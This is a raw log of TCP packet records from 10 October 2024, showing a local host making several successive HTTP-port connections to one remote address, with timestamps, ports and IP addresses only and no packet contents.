Oct 10, 2024 21:01:34.804343939 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.809731960 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.809817076 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.810476065 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.815545082 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.277880907 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.278640032 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.279124975 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.283747911 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.284039021 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.284069061 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.284095049 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.284101963 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.284126043 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.284152985 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.284159899 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.284202099 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.284203053 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.284229040 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.284251928 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.284255981 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.284307957 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.284430981 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.284482956 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.284554958 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.284718990 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.288486958 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.288547039 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.289208889 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.289257050 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.289262056 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.289304018 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.289467096 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.289493084 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.289519072 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.289520979 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.289541006 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.289546013 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.289552927 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.289601088 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.293422937 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.293450117 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.293476105 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.293498993 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.293502092 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.293528080 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.293530941 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.293554068 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.293591976 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.293976068 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.294034958 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.294781923 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.294835091 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.294919014 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.300213099 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.300239086 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.300266027 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.300292015 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.300318003 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.300899982 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.300928116 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.300952911 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.300978899 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.301003933 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.301029921 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.301054955 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.301079988 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.301105022 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.301302910 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.301328897 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.301353931 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.301379919 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.301404953 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.301429987 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.301455021 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.301480055 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.305006027 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.305032015 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.305058002 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.305083036 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.596015930 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.649327993 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.655052900 CEST	80	49758	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.655458927 CEST	49758	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.931802988 CEST	49759	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.936958075 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:35.939466000 CEST	49759	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.940040112 CEST	49759	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:35.944991112 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.393666983 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.396358967 CEST	49759	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:36.396534920 CEST	49759	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:36.401423931 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.401654959 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.401699066 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.401747942 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.401751041 CEST	49759	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:36.401774883 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.401802063 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.401850939 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.401851892 CEST	49759	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:36.401878119 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.401904106 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.401930094 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.401937962 CEST	49759	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:36.401988983 CEST	49759	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:36.406322002 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.407138109 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.407177925 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.407207012 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.407212019 CEST	49759	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:36.407260895 CEST	49759	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:36.407263041 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.407293081 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.407320976 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.407346964 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.407372952 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.407382011 CEST	49759	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:36.407382011 CEST	49759	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:36.407428980 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.407465935 CEST	49759	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:36.407510042 CEST	49759	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:36.407545090 CEST	49759	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:36.407819986 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.411463022 CEST	49759	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:36.412636995 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.412730932 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.412790060 CEST	49759	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:36.412869930 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.412898064 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.412961006 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.413054943 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.413083076 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.413130045 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.413233995 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.413264036 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.413311958 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.413341045 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.413367033 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.413470030 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.413496017 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.413525105 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.413549900 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.413575888 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.413620949 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.413862944 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.413891077 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.413916111 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.416441917 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.417299986 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.417347908 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.417375088 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.417488098 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.417876005 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.417901993 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.417985916 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.773264885 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.781743050 CEST	49759	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:36.803627968 CEST	80	49759	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.807476997 CEST	49759	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:36.973470926 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:36.978729963 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:36.978828907 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:36.979249954 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:36.984138012 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:37.978406906 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:37.978634119 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.159945011 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.160562992 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.160747051 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.160765886 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.160825968 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.292196989 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.397248983 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.397389889 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.397420883 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.397458076 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.397458076 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.397562981 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.398152113 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.398941040 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.399102926 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.399422884 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.399485111 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.399816036 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.399873972 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.399902105 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.399983883 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.400057077 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.400110960 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.400114059 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.400139093 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.400167942 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.400201082 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.400212049 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.400212049 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.402369022 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.402419090 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.402475119 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.402487040 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.402514935 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.402542114 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.402570963 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.402626038 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.402689934 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.404073000 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.404143095 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.404344082 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.404400110 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.404460907 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.404516935 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.404783010 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.404817104 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.404844999 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.404896021 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.404999971 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.405056953 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.405133009 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.405162096 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.405188084 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.405208111 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.405217886 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.405236959 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.405272961 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.405273914 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.405303001 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.405320883 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.405332088 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.405389071 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.407358885 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.407421112 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.407485962 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.407613993 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.407639980 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.409015894 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.409245968 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.409575939 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.409588099 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.409682989 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.409743071 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.409809113 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.410131931 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.410238028 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.410331964 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.410360098 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.410407066 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.410433054 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.410459042 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.410485029 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.410511017 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.410536051 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.412178040 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.412204981 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.412250996 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.412278891 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.412303925 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.412350893 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.412377119 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.414524078 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.414572001 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.414597988 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.414628029 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.692497015 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.702440023 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.708182096 CEST	80	49760	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.708348989 CEST	49760	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.915427923 CEST	49761	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.920696974 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:38.920793056 CEST	49761	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.931776047 CEST	49761	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:38.936944008 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.429868937 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.430794954 CEST	49761	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:39.431035995 CEST	49761	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:39.436074972 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.436084032 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.436091900 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.436094999 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.436100006 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.436175108 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.436182976 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.436187983 CEST	49761	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:39.436188936 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.436197996 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.436201096 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.436234951 CEST	49761	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:39.436266899 CEST	49761	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:39.440741062 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.440815926 CEST	49761	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:39.441108942 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.441137075 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.441169024 CEST	49761	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:39.441191912 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.441195965 CEST	49761	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:39.441219091 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.441247940 CEST	49761	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:39.441265106 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.441286087 CEST	49761	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:39.441291094 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.441318035 CEST	49761	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:39.441337109 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.441344976 CEST	49761	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:39.441365004 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.441390991 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.441415071 CEST	49761	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:39.441421032 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.441451073 CEST	49761	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:39.441541910 CEST	49761	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:39.445777893 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.445844889 CEST	49761	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:39.446808100 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.446990013 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.447016954 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.447168112 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.447195053 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.447221994 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.447269917 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.447295904 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.447320938 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.447345972 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.447371006 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.447427988 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.450788975 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.451119900 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.451145887 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.770895958 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.780354023 CEST	49761	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:39.799916029 CEST	80	49761	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.800028086 CEST	49761	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:39.928044081 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:39.933301926 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:39.933445930 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:39.947860956 CEST	49762	80	192.168.2.4	104.21.59.199
